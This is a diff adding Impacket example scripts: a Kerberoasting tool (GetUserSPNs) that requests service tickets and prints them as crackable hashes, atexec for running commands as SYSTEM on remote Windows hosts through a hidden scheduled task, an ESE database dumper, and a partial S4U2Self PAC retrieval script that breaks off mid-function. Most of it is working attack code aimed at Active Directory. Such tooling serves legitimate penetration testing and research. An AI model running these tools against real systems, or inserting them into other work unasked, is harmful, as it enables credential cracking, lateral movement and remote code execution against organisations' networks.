group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.target+'@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
try:
executer = GetADUsers(username, password, domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)

View File

@@ -0,0 +1,396 @@
#!/usr/bin/env python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This module will try to find Service Principal Names that are associated with normal user account.
# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
#
# Original idea of implementing this in Python belongs to @skelsec and his
# https://github.com/skelsec/PyKerberoast project
#
# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
# Also, disabled accounts won't be shown.
#
# ToDo:
# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer
# (play with userAccountControl)
#
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
class GetUserSPNs:
@staticmethod
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print outputFormat.format(*header)
print ' '.join(['-' * itemLen for itemLen in colLen])
# And now the rows
for row in items:
print outputFormat.format(*row)
def __init__(self, username, password, domain, cmdLineOptions):
self.options = cmdLineOptions
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__outputFileName = options.outputfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__target = None
self.__requestTGS = options.request
self.__kdcHost = cmdLineOptions.dc_ip
self.__saveTGS = cmdLineOptions.save
self.__requestUser = cmdLineOptions.request_user
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__domain, self.__domain)
try:
s.login('', '')
except Exception:
logging.debug('Error while anonymous logging into %s' % self.__domain)
s.logoff()
return s.getServerName()
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# According to RFC4757 the cipher part is like:
# struct EDATA {
# struct HEADER {
# OCTET Checksum[16];
# OCTET Confounder[8];
# } Header;
# OCTET Data[0];
# } edata;
#
# In short, we're interested in splitting the checksum and the rest of the encrypted data
#
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
if fd is None:
print entry
else:
fd.write(entry+'\n')
else:
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
decodedTGS['ticket']['enc-part']['etype']))
if self.__saveTGS is True:
# Save the ticket
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey )
ccache.saveFile('%s.ccache' % username)
except Exception, e:
logging.error(str(e))
def run(self):
if self.__doKerberos:
self.__target = self.getMachineName()
else:
if self.__kdcHost is not None:
self.__target = self.__kdcHost
else:
self.__target = self.__domain
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError, e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
else:
raise
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"
if self.__requestUser is not None:
searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
else:
searchFilter += ')'
try:
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap.LDAPSearchError, e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
raise
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['vals'][0]).endswith('$') is False:
# User Account
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif attribute['type'] == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
elif attribute['type'] == 'memberOf':
memberOf = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
except Exception, e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
print '\n\n'
if self.__requestTGS is True or self.__requestUser is not None:
# Let's get unique user names and a SPN to request a TGS for
users = dict( (vals[1], vals[0]) for vals in answers)
# Get a TGT for the current user
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for user, SPN in users.iteritems():
try:
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
except Exception , e:
logging.error(str(e))
if fd is not None:
fd.close()
else:
print "No entries found!"
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
"under a user account")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them '
'in JtR/hashcat format (default False)')
parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
'to the user specified (just the username, no domain needed)')
parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is '
'<username>.ccache. Auto selects -request')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.target+'@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.save is True or options.outputfile is not None:
options.request = True
try:
executer = GetUserSPNs(username, password, domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)

View File

@@ -0,0 +1,233 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# ATSVC example for some functions implemented, creates, enums, runs, delete jobs
# This example executes a command on the target machine through the Task Scheduler
# service. Returns the output of such command
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for TSCH
import string
import sys
import argparse
import time
import random
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
class TSCH_EXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None,
command=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def play(self, addr):
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
self.doStuff(rpctransport)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error(e)
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
def doStuff(self, rpctransport):
def output_callback(data):
print data
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
tmpFileName = tmpName + '.tmp'
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/C %s &gt; %%windir%%\\Temp\\%s 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""" % (self.__command, tmpFileName)
taskCreated = False
try:
logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
time.sleep(2)
logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False
except tsch.DCERPCSessionError, e:
logging.error(e)
e.get_packet().dump()
finally:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
smbConnection = rpctransport.get_smb_connection()
waitOnce = True
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
time.sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
time.sleep(3)
waitOnce = False
else:
raise
else:
raise
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect()
# Process command-line arguments.
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
logging.warning("This will work ONLY on Windows >= Vista")
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
'If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,
' '.join(options.command))
atsvc_exec.play(address)

View File

@@ -0,0 +1,114 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# ESE utility. Allows dumping catalog, pages and tables.
#
# Author:
# Alberto Solino (@agsolino)
#
#
# Reference for:
# Extensive Storage Engine (ese)
#
import sys
import logging
import argparse
from impacket.examples import logger
from impacket import version
from impacket.ese import ESENT_DB
def dumpPage(ese, pageNum):
data = ese.getPage(pageNum)
data.dump()
def exportTable(ese, tableName):
cursor = ese.openTable(tableName)
if cursor is None:
logging.error('Can"t get a cursor for table: %s' % tableName)
return
i = 1
print "Table: %s" % tableName
while True:
try:
record = ese.getNextRow(cursor)
except:
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
print "*** %d" % i
for j in record.keys():
if record[j] is not None:
print "%-30s: %r" % (j, record[j])
i += 1
def main():
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
"catalog, pages and tables.")
parser.add_argument('databaseFile', action='store', help='ESE to open')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-page', action='store', help='page to open')
subparsers = parser.add_subparsers(help='actions', dest='action')
# dump page
dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
# info page
subparsers.add_parser('info', help='dumps the catalog info for the DB')
# export page
export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
export_parser.add_argument('-table', action='store', required=True, help='table to dump')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
ese = ESENT_DB(options.databaseFile)
try:
if options.action.upper() == 'INFO':
ese.printCatalog()
elif options.action.upper() == 'DUMP':
dumpPage(ese, int(options.page))
elif options.action.upper() == 'EXPORT':
exportTable(ese, options.table)
else:
logging.error('Unknown action %s ' % options.action)
raise
except Exception, e:
#import traceback
#print traceback.print_exc()
print e
ese.close()
if __name__ == '__main__':
main()
sys.exit(1)

View File

@@ -0,0 +1,332 @@
#!/usr/bin/python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This script will get the PAC of the specified target user just having a normal authenticated user credentials.
# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi)
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
# [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx
import argparse
import datetime
import logging
import random
import re
import struct
import sys
from pyasn1.codec.der import decoder, encoder
from impacket import version
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \
PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.winregistry import hexdump
class S4U2SELF:
def printPac(self, data):
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(str(adIfRelevant[0]['ad-data']))
buff = pacType['Buffers']
for bufferN in range(pacType['cBuffers']):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
if logging.getLogger().level == logging.DEBUG:
print "TYPE 0x%x" % infoBuffer['ulType']
if infoBuffer['ulType'] == 1:
type1 = TypeSerialization1(data)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = data[len(type1)+4:]
kerbdata = KERB_VALIDATION_INFO()
kerbdata.fromString(newdata)
kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])
kerbdata.dump()
print
print 'Domain SID:', kerbdata['LogonDomainId'].formatCanonical()
print
elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:
clientInfo = PAC_CLIENT_INFO(data)
if logging.getLogger().level == logging.DEBUG:
clientInfo.dump()
print
elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:
signatureData = PAC_SIGNATURE_DATA(data)
if logging.getLogger().level == logging.DEBUG:
signatureData.dump()
print
elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:
signatureData = PAC_SIGNATURE_DATA(data)
if logging.getLogger().level == logging.DEBUG:
signatureData.dump()
print
elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:
upn = UPN_DNS_INFO(data)
if logging.getLogger().level == logging.DEBUG:
upn.dump()
print data[upn['DnsDomainNameOffset']:]
print
else:
hexdump(data)
if logging.getLogger().level == logging.DEBUG:
print "#"*80
buff = buff[len(infoBuffer):]
def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None):
self.__username = username
self.__password = password
self.__domain = domain.upper()
self.__behalfUser = behalfUser
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
# Try all requested protocols until one works.
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash.decode('hex'), self.__nthash.decode('hex'))
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print authenticator.prettyPrint()
print ('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = None
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print paForUserEnc.prettyPrint()
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
